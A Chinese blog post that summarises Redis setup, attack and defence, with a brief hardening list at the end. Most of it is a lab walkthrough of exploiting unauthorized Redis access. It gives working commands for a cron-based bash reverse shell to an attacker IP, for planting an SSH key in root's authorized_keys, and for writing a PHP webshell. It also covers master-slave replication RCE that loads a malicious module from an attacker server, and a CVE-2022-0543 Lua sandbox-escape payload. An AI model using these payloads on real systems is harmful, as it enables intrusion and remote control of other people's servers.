redis攻防总结

已于 2023-04-21 10:05:16 修改
阅读量243 收藏
点赞数
分类专栏： 学习笔记 文章标签： redis 网络安全 漏洞利用
于 2023-04-21 10:00:29 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/RestoreJustice/article/details/130281311
版权
文章详细介绍了Redis的环境搭建过程，包括下载源码、安装、配置和启动服务。接着讨论了Redis的多种利用场景，如通过写入计划任务反弹shell、SSH公钥登录、写入webshell以及主从复制的RCE。同时，提到了Redis的安全防御措施，如绑定IP、设置密码和保护模式。文章还涉及了SSRF和Lua沙盒绕过RCE的利用。
摘要由CSDN通过智能技术生成

redis攻防总结

redis简介

Redis是一个key-value存储系统。和Memcached类似，它支持存储的value类型相对更多，包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash（哈希类型）。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。与memcached一样，为了保证效率，数据都是缓存在内存中（基于内存存储）。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。

Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步，从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制，使得从数据库在任何地方同步树时，可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。redis在开发中主要使用的地方：网站的实时点击数、热点新闻数据排行榜等数据量较大且需要实时更新的地方。

一、redis环境搭建

1、前期准备
2、安装redis
	解压：
	tar -zvxf redis-5.0.10.tar.gz
	安装、编译
	cd redis-5.0.10/
	make && make install
3、初始化配置文件
 #运行这条命令，可以选择是否修改配置
[root@localhost redis-5.0.10]# ./utils/install_server.sh
Welcome to the redis service installer
This script will help you easily set up a running redis server

Please select the redis port for this instance: [6379]  # 端口号设置，不设置保持默认
Selecting default: 6379
Please select the redis config file name [/etc/redis/6379.conf]  # 主配置文件
Selected default - /etc/redis/6379.conf
Please select the redis log file name [/var/log/redis_6379.log]  # 服务日志文件
Selected default - /var/log/redis_6379.log
Please select the data directory for this instance [/var/lib/redis/6379] # 数据库目录
Selected default - /var/lib/redis/6379
Please select the redis executable path [/usr/local/bin/redis-server]  # 服务启动命令
Selected config:
Port           : 6379
Config file    : /etc/redis/6379.conf
Log file       : /var/log/redis_6379.log
Data dir       : /var/lib/redis/6379
Executable     : /usr/local/bin/redis-server
Cli Executable : /usr/local/bin/redis-cli	# 连接服务命令
Is this ok? Then press ENTER to go on or Ctrl-C to abort.
Copied /tmp/6379.conf => /etc/init.d/redis_6379
Installing service...
Successfully added to chkconfig!
Successfully added to runlevels 345! # 初始化配置后 会自动启动redis服务 并设置开机运行
Starting Redis server...
Installation successful!

查看服务端口和进程

[root@localhost redis-5.0.10]# netstat -nalp |grep 6379
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      7527/redis-server 1 
[root@localhost redis-5.0.10]# ps -c 7527
   PID CLS PRI TTY      STAT   TIME COMMAND
  7527 TS   19 ?        Ssl    0:03 /usr/local/bin/redis-server 127.0.0.1:6379
4、基本使用
设置参数选择项功能
daemonizeyes、noyes表示启用守护进程（可以后台启动），默认是no即不以守护进程方式运行。其中Windows系统下不支持启用守护进程方式运行
port指定 Redis 监听端口，默认端口为 6379
bind绑定的主机地址,如果需要设置远程访问则直接将这个属性备注下或者改为bind * 即可,这个属性和下面的protected-mode控制了是否可以远程访问 。
protected-modeyes 、no保护模式，该模式控制外部网是否可以连接redis服务，默认是yes,所以默认我们外网是无法访问的，如需外网连接rendis服务则需要将此属性改为no。
timeout300当客户端闲置多长时间后关闭连接，如果指定为 0，表示关闭该功能
logleveldebug、verbose、notice、warning日志级别，默认为 notice
databases16设置数据库的数量，默认的数据库是0。整个通过客户端工具可以看得到
rdbcompressionyes、no指定存储至本地数据库时是否压缩数据，默认为 yes，Redis 采用 LZF 压缩，如果为了节省 CPU 时间，可以关闭该选项，但会导致数据库文件变的巨大。
dbfilenamedump.rdb指定本地数据库文件名，默认值为 dump.rdb
dir指定本地数据库存放目录
requirepass设置 Redis 连接密码，如果配置了连接密码，客户端在连接 Redis 时需要通过 AUTH 命令提供密码，默认关闭
maxclients0设置同一时间最大客户端连接数，默认无限制，Redis 可以同时打开的客户端连接数为 Redis 进程可以打开的最大文件描述符数，如果设置 maxclients 0，表示不作限制。当客户端连接数到达限制时，Redis 会关闭新的连接并向客户端返回 max number of clients reached 错误信息。
maxmemoryXXX 指定 Redis 最大内存限制，Redis 在启动时会把数据加载到内存中，达到最大内存后，Redis 会先尝试清除已到期或即将到期的 Key，当此方法处理 后，仍然到达最大内存设置，将无法再进行写入操作，但仍然可以进行读取操作。Redis 新的 vm 机制，会把 Key 存放内存，Value 会存放在 swap 区。配置项值范围列里XXX为数值。
  • 前台启动
	启动命令：
	/usr/local/bin/redis-server

在这里插入图片描述

前台启动关闭直接ctrl+c停止服务

  • 后台启动

    首先需要开启：daemonize

    进入redis安转文件夹内，有个redis.conf 文件
    在这里插入图片描述

    	启动命令：
	/usr/local/bin/redis-server ./redis.conf

停止服务命令：

[root@localhost redis-5.0.10]# /usr/local/bin/redis-cli
127.0.0.1:6379> shutdown
not connected> exit

或者：
exit 退出客户端，然后执行：/usr/local/bin/redis-cli shutdown

  • 连接redis数据库

    ./bin/redis-cli [-h 127.0.0.1] [-p 6379]  ···用户名、密码等···· #后面参数可选

二、利用总结

1、写入计划任务反弹shell

**注意：**新版本的redis是仅允许本地访问的（可以修改bin *）,一般是配合其他漏洞一起利用。反弹shell这里只在centos中能够利用成功，ubuntu系统由于通过redis写入计划任务后乱码原因导致无法反弹成功。

set x "\n * * * * * bash -i >& /dev/tcp/192.168.83.130/10086 0>&1\n"  //\n为换行符，此处一定要加\n，这样反弹shell语句与其他乱码语句就会分隔开不在同一行，这样才能成功反弹shell
config set dir /var/spool/cron
config set dbfilename root
save

在这里插入图片描述

成功反弹

在这里插入图片描述

2、redis写入ssh公钥登录
  • 环境准备

被攻击方：

记得开启Shh服务配置，允许秘钥登录

命令与Ubuntu略有不同

示例：（重启服务）systemctl restart sshd

最后还得在root目录生成SSH登录的密钥对，即需要有/root/.ssh目录

执行 mkdir /root/.ssh 命令，创建ssh公钥存放目录（若是靶机使用过ssh服务，则会自动生成/root/.ssh文件目录）

攻击方：

在攻击机中生成ssh公钥和私钥，密码设置为空：

ssh-keygen -t rsa

进入.ssh目录：cd .ssh/，将生成的公钥保存到pub_key.txt

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>pub_key.txt
  • 漏洞原理

在数据库中插入一条数据，将本机的公钥作为value，key值随意，然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys，把缓冲的数据保存在文件里，这样就可以在服务器端的/root/.ssh下生成一个授权的key。

  • 写入公钥的前提：

    • Redis服务使用root账号启动

    • 成功连接redis

    • 服务器开放了SSH服务，而且允许使用密钥登录，并且存在/root/.ssh目录，（安装的openssh只要将公钥放入到/root/.ssh文件夹中，无需设置 默认就允许使用公钥登录），即可远程写入一个公钥，直接登录远程服务器。

    • 攻击机上创建ssh-rsa密钥，也就是生成key，这里密码搞成空，全部默认即可

命令：

config set dir /root/.ssh/
config set dbfilename authorized_keys 
# set x "\n\n\n公钥\n\n\n"，将公钥写入x键。前后用\n换行，避免和Redis里其他缓存数据混合
set x "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtL/yMAN6zVa9bo6hibKXvWbtiuUmjDdBlGgPTQAOWV5IPm6rHCGxO++LYp4D5neD+k7PDWLFCb5X4JkZNmAS1VWSe+aiddQpykzVN+EmWkMA1GomWRGmeDI72B2tT79LVpKUuzR5/6+AAlkbKFHd+0ztmbTERkj7W/yZW8jAfp274g3Vmtot2Z3qUwPw3xvzNy9KPauUElW33MGioFplYjPsge6oVZ4ChnHgmoQFCmEXpF1IYFUR2jILSAKmIEQOqg34JSF2ynP7ePFkap+O51Klqw4DtvvfDOHidTaQKboE3acc4M5QHnoQbPP1OLGIl1Af6ozDo8I3HC6dgiBVrr7WHU0nn7fwl3olVm0cswTVjNSO8BLbajb546kFZkR9hA9k6MlQoiAa20tFv1+ihrl5LK1UA396mzX9hS8l786UMAyKOxZ1j/ld1GPUVhCNnOaFYaHpGbntXAVsSpDFrIi3Sb/bQUVCjLQHlca/6gwLNBozIp/dwU/uwA4+l02U= root@kali\n\n\n"
save

如果可以上传文件到目标主机或可以远程连接redis，可以直接读key文件,将内容写入

示例：

cat /root/.ssh/pub_key.txt | redis-cli -h 192.168.26.133 -x set pub

成功写入

在这里插入图片描述

ssh成功登录

ssh -i id_rsa root@192.168.83.141

在这里插入图片描述

3、redis写入webshell

漏洞原理

靶机的redis存在未授权访问，并且开启了web服务，知道了web目录的路径，并具有文件读写增删改查的权限，即可通过redis在指定的web目录下写入一句话木马，用蚁剑等连接可达到控制服务器的目的。

config set dir /var/www/html/  #切换到网站的根目录
config set dbfilename test.php   #在磁盘中生成木马文件
set xxx "\n\n\n<?php @system($_POST['cmd']);?>\n\n\n"   #写入恶意代码到内存中，这里的\n\n\n代表换行的意思，用redis写入文件的会自带一些版本信息，如果不换行可能会导致无法执行.
save    #将内存中的数据导出到磁盘

这里使用winserver2019和phpstudy2018搭建环境（centoss没有搭建web服务，这里rediss为3版本）

在这里插入图片描述

在这里插入图片描述

成功执行

在这里插入图片描述

4、主从复制RCE

  • 漏洞原理：

    漏洞存在于4.x、5.x版本中，Redis提供了主从模式，主从模式指使用一个redis作为主机，其他的作为备份机，主机从机数据都是一样的，从机负责读，主机只负责写，通过读写分离可以大幅度减轻流量的压力，算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后，通过外部拓展可以实现在redis中实现一个新的Redis命令，通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候，Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件，即可执行命令。

  • 利用前提:

    • redis 4.x/5.x
    • 无需root账号启动redis，普通权限也可以

  • 什么是主从复制?

    主从复制，是指将一台Redis服务器的数据，复制到其他的Redis服务器。前者称为主节点(master)，后者称为从节点(slave)；数据的复制是单向的，只能由主节点到从节点。

    Redis的持久化使得机器即使重启数据也不会丢失，因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除，而主从复制则能解决这个问题，主redis的数据和从redis上的数据保持实时同步，当主redis写入数据是就会通过主从复制复制到其它从redis。

  • 环境搭建

    centos7作为主机，Ubuntu18.04作为从机，注意保持两台主机互通 ，需要关闭redis保护模式和允许主从机相互访问（bin设置）

     #Ubuntu执行下面命令，成为centos的从机，ip端口为centos（主）redis服务
 slaveof 192.168.83.143 6379

在这里插入图片描述
在这里插入图片描述

  • 复现

    由于从机不能写操作，所以我们无法使用上面三种方式得到从机的权限所以我们必须利用主从复制的性质往从机写入利用脚本，达到getshell的目的。

    情况1：如果我们可以直接访问到从机，可以直接使用利用工具getshell。

    情况2：但如果仅允许本地访问或其主机访问，则需要拿下其主机或者利用其他漏洞（例如ssrf），将其主机设置为我们的vps（指我们能控制的VPS，如果 能拿下从机的主机那也可以是主机 ），将恶意脚本同步过去，实现getshell。

    下面演示通过其主机（也可以是你的VPS，视从机情况而定）同步加载恶意脚本的情况：

    • 利用工具

    利用工具：https://github.com/Ridter/redis-rce

    利用脚本exp.so：https://github.com/vulhub/redis-rogue-getshell

    python redis-rce.py -r 192.168.83.149 -L 127.0.0.1 -f exp.so

    成功获得shell（这里是主机连接从机）

在这里插入图片描述

  • 主机写计划任务，同步到从机

    由于从机没有写操作，可以利用主从复制写任务

    set x "\n * * * * * bash -i >& /dev/tcp/192.168.83.130/10086 0>&1\n"

    同步到从机后，从机设置路径，报存

    config set dir /var/spool/cron
config set dbfilename root
save

    成功收到shell

在这里插入图片描述

下面演示从机仅允许本地访问的情况，一般配合其他漏洞使用（比如SSRF）

这种情况需要从机主动连接我们的vps(攻击机)

首先使用工具：https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

开启主服务，作为从机的主机

在这里插入图片描述

从机设置目录，将主机地址设置为攻击机，同步主机

slaveof no one   #down掉原来的主机
config set dir /tmp
config set dbfilename exp.so
slaveof 192.168.83.130 15000

加载从攻击机上下载来的恶意模块 (我们上面存在了/tmp下exp.so)

module load ./exp.so	#内部加载模块
module list      #显示模块

在这里插入图片描述

使用加载的模块执行命令（工具支持5.05以下，我这里是5.0.10）

正常情况是第二个 system。这工具 里的module.so编译有问题，需自己重新编译：https://github.com/vulhub/redis-rogue-getshell
在这里插入图片描述

反弹shell

在这里插入图片描述
在这里插入图片描述

5、ssrf+redis

当我们检测出一个网站存在SSRF漏洞的时候，我们就可以探测当前或者内网主机开放的端口，而这些端口往往我们从外网是不能直接探测到的，所以可以尝试利用ssrf探测内网开放的端口，当探测处内网存在redis的时候，则可以尝试进行攻击。

6、Redis Lua 沙盒绕过rce

复现参考vulhub：
CVE-2022-0543漏洞影响的版本只限于Debian 和 Debian 派生的 Linux 发行版（如Ubuntu）上的 Redis 服务。
安全研究人员发现在 Debian 上，Lua 由 Redis 动态加载，且在 Lua 解释器本身初始化时，module和require以及package的Lua 变量存在于上游Lua 的全局环境中，而不是不存在于 Redis 的 Lua 上，并且前两个全局变量在上个版本中被清除修复了，而package并没有清楚，所以导致redis可以加载上游的Lua全局变量package来逃逸沙箱。

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); 
local io = io_l(); 
local f = io.popen("id", "r"); 
local res = f:read("*a"); 
f:close(); 
return res' 0

三、 Redis防御

  • 绑定本地和内网ip地址进行访问,如本地ip：bind 127.0.0.1,192.168.54.1
  • requirepass设置redis密码，（默认为空）
  • 保护模式开启protected-mode开启（默认开启）
  • 更改默认端口（6379）
  • 避免使用root权限使用,建一个普通账号专门用于启动redis
不要温顺地走进那个良夜
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
redis 技能总结.mmap
08-02
总结了java开发和数据分析中，涉及到的redis的诸多方面，面向理论，注重实践，适用于中高级开发工程师和DBA等。
redis安全攻防（专注渗透视角）
LainWith的博客
04-11 2975
数据库作为业务平台信息技术的核心和基础，承载着越来越多的关键数据，渐渐成为单位公共安全中最具有战略性的资产，数据库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息。这些信息一旦被篡改或者泄露，轻则造成企业经济损失，重则影响企业形象，甚至行业、社会安全。可见，数据库安全至关重要。所以对数据库的保护是一项必须的，关键的，重要的工作任务。
ubuntu的redis反弹shell总结
qq_15042405的博客
02-25 1342
ubuntu的redis反弹shell总结 ubuntu要执行有三点： 1、ubuntu的默认执行命令的为/bin/dash，我们使用bash -i肯定是弹不了的。 2、ubuntu计划任务运行有语法要求，redis写入的文件存在缓存数据，导致语法错误无法运行计划任务。 3、文件需要是600 rw权限，权限不对也不能运行，不过我直接写入貌似就是600 rw。 参考链接：http://www.vkxss.top/2019/05/28/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95-R
Redis学习总结
09-19
Redis是一个开源的高性能键值存储数据库，它支持多种类型的数据结构，如字符串（strings）、散列（hashes）、列表（lists）、集合（sets）、有序集合（sorted sets）等，使用内存存储，同时提供持久化选项，支持通过...
redis笔记总结
11-02
redis笔记总结redis笔记总结redis笔记总结redis笔记总结redis笔记总结redis笔记总结
redis总结01
09-12
redis五中数据类型;使用jedis操作redis；redis和springboot整合
redis学习总结
12-03
总结的redis操作基本指令，非常不错，所有指令都有，解释了参数以及返回值
【速览】Redis（更新中）
椰子的职场成长记录
08-20 271
Redis 支持多种数据结构，如字符串（strings）、哈希（hashes）、列表（lists）、集合（sets）、有序集合（sorted sets）等。持久化：Redis 支持两种持久化方式，RDB（快照）和 AOF（追加文件），以确保数据在重启后不会丢失。原子操作：Redis 的所有操作都是原子的，这使得它非常适合于需要高并发和数据一致性的场景。Lua 脚本：Redis 支持在服务器端执行 Lua 脚本，可以用于实现复杂的业务逻辑。事务支持：Redis 支持事务，可以将多个命令打包在一起执行。
redis事件机制
笑笑布丁的博客
08-16 650
aeApiAddEvent、aeApiDelEvent：增加或删除一个监听对象。aeEventLoop：redis事件循环器，负责管理事件。aeFileEvent：存储一个文件描述符已注册的文件事件。aeApiPoll：阻塞进程，等待事件就绪或给定事件到期。aeApiCreate：初始化I/O复用机制上下文环境。aeTimeEvent：存储一个时间事件的信息。
【Redis】集合类型详解及实际应用场景分析：从命令操作到内部编码
Hsusan的博客
08-20 341
如果 set1 和 set2 中都有一个 1，此时让 set1 的 1 移动到 set2 中，最终返回值是 1，即移动成功，set1 的 1 不见了，set2 的 1 也还在。注意，由于 set 内的元素是⽆序的，所以取出哪个元素实际是未定义⾏为，即随机删除，这里是真随机，而不是伪随机。这里的无序，是指变换一下元素的顺序，集合还是一样的集合，而不是说顺序逆序的无序。获取⼀个 set 的基数（cardinality），即 set 中的元素个数。获取⼀个 set 中的所有元素，注意，元素间的顺序是⽆序的。
Redis中String数据类型常用命令
m0_65347933的博客
08-16 436
Redis中String数据类型常用命令：1、基本操作；2、计数与长度；3、设置和获取部分值；4、过期与持久化
redis I/O复用机制
笑笑布丁的博客
08-16 800
epoll是linux提供的I/O复用API，是一种事件驱动的I/O模型，它可以用于高效地处理大量的并发连接。其中，'e’代表"event"（事件），意味着epoll可以监测并响应特定的事件，如文件描述符上的读写事件、错误事件等。用一个进程监听大量连接，当某个连接可读/可写的时候，系统就发送事件通知进程处理该连接的数据。串行化处理，就是要等，假如进行到accept操作，cpu需要等待客户端发送的数据到tcp接收缓冲区才能进行read操作，而在此期间cpu不能执行任何操作。
8.20 Redis ACL配置 多个用户连接同一个Redis
最新发布
LX220619的博客
08-20 197
（3）**ACL SETUSER userName >password** 此处是设置密码的命令，userName和password实际替换为用户名和密码 例如 ACL SETUSER zhangsan >123456。（4）创建完用户密码以后 此时用户默认是没有启用的 可以在**ACL LIST** 命令中查看到该用户的状态是off 启用用户的命令为：**ACL SETUSER 用户名 on****四、redis acl还可以进行删除用户 以及对用户的其他权限控制****三、权限配置**
Redis三个版本（3.x,4.x,6.x）对于多线程的使用比对
m0_37903574的博客
08-15 534
redis 3.x不支持多线程，请求数据顺序执行，对于多个客户端并发访问redis-server时的执行状态如下，我们假如每个圆圈的执行时间是一致的代表一个执行单位，那么redis3.x的执行时间就是六个执行单位。对于redis6.x，开启多线程执行后，主线程的顺序执行只在执行阶段，前置的解析阶段，到后面的返回阶段都可以交由子线程去执行。. 对于redis4.x而言，其能支持的多线程的命令比较有限。
【Redis】Redis典型应用-分布式锁
qq_55119554的博客
08-16 1798
Redis作为分布式锁！！！
Redis模型中Geospatia、HyperLogLog、Bitmap使用
Xwz的博客
08-16 332
【代码】redis模型中Geospatia、HyperLogLog、Bitmap使用。
性能测试-性能监控分析与调优（三）《实战-CPU瓶颈分析、内存问题分析、gc、tomcat性能调优，数据库监控-redis\mysql》
qq_35283902的博客
08-17 1073
在性能测试中，OOM问题通常表明被测试的系统或应用在内存管理方面存在问题，可能是因为内存泄露、内存分配不当或者内存需求超过了系统可用的最大内存。开启此功能，在Nginx配置有多个server_name的情况下，会根据不同的server_name进行流量的统计，否则默认会把流量全部计算到第一个server_name上。GC（垃圾回收）频率和耗时：在一些使用自动内存管理的语言中（如Java、C#），频繁的垃圾回收操作可能表明存在内存泄露问题，尤其是当GC操作占用的CPU时间显著增加时。
利用Redis获取权限的多种方式
无问社区的博客
08-17 778
更多实战内容，可前往无问社区查看。Redis是我们在实战中经常接触到的一款数据库，因其在前期打点中被利用后可直接影响服务器安全所以在攻防过程中也备受红队关注，在本文中会重点分享一下与之有关的一些攻击技术，同时探究其中的技术原理。由于Redis的语法不同于其他数据库，所以更为详细的语法介绍建议各位前往Reids官网（https://redis.io/commands?from=QuickRedis）进行查阅。
redis string类型
Life_winner_king的博客
08-17 258
incr:针对value -/+ 1 格式： incr key（incr操作的key不存在，就会吧这个key的value当作0来使用，value必须是int类型）incrby:针对value +/- n （incrby操作的key不存在，就会吧这个key的value当作0来使用，value必须是int类型）decr : 针对value -1（decr操作的key不存在，就会吧这个key的value当作0来使用，value必须是int类型）setnx:设置指定key的超时时间 单位是秒。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值